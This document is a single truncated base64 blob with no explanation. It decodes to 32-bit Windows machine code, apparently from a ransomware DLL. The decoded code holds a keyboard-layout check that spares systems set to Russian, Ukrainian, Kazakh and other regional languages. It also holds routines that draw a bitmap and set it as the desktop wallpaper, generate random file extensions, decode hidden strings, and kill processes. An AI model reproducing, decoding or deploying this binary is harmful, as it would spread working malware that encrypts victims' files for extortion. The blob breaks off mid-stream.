QVlZqAWowVlP/FcwSARCFwHQV6HwYAAA96gAAAHQJU/8V0BEBEOvCV/91/OiNDQAAi/iJfexZhf91DlP/FdARARAzwOnaAAAAVlaNRfhQjUX8UP91/FdqAWowVlP/FcwSARCFwA+ErwAAAIl18Dl1+A+GoAAAAIsHUIlF6OgmJgAAoXAiARBZ6xb/dej/MOjMIwAAWVmFwHVxi0X0i0AEiUX0hcB144vGhcB0RmggAAEA/zdT/xU8EAEQi9CJVfSF0nRTagZZM8CJdciNfczzq41FyFBqAVL/FVQRARCLffRXhcB0K/8VjBABEIXAdCCLfeyLRfCDxyxAiX3siUXwO0X4D4Ju////6wwzwEDrmVf/FdARARAz9kZT/xXQEQEQi8ZfXluL5V3DVYvsgexUAQAAVv91COglJwAAjQRFAAgAAFDodQwAAIvwWVmF9g+EDAQAAFNXjYXY/v//v3ACARBQahBbU2oIaGICAABX6H8iAAAzwGaJhej+//+Nhdj+//9QVuguJgAA/3UIVuhDJQAAaEDQABBW6DglAACNhaz+//9QahRqCWhKAwAAV+g/IgAAg8RAM8BmiYXA/v//jYVM////UGoMagVoiAIAAFfoHSIAADPAZomFWP///42FHP///1BqDl9XagdotwcAAGhwAgEQ6PghAAAzwGaJhSr///+NhQz///9QV2oLaNAFAABocAIBEOjWIQAAM8BmiYUa////jYX8/v//UFdXaB8CAABocAIBEOi1IQAAg8RQM8BmiYUK////jUWkUGoIU2pUaHACARDoliEAADPAZolFrI1FmFBqCFNo+QkAAGhwAgEQ6HohAAAzwGaJRaCNhWj///9QagpqC2hcCwAAaHACARDoWiEAADPAZomFcv///42FrP7//4lF1I2FTP///4lF2I2FHP///4lF3I2FDP///4lF4I2F/P7//4lF5I1FpIlF6I1FmIlF7I2FaP///2oHagCJRfDochcAAIPERP90hdRW6NwjAABoQNAAEFbo0SMAAI2FPP///1BqDGoMaKoAAABocAIBEOjUIAAAM8BmiYVI////jYXE/v//UFNqB2giCwAAu3ACARBT6LEgAAAzwGaJhdT+//+NhVz///9QagpqB2ioCQAAU+iSIAAAg8RMM8BmiYVm////jUWMUGoIW1NqC2hwAQAAaHACARDobSA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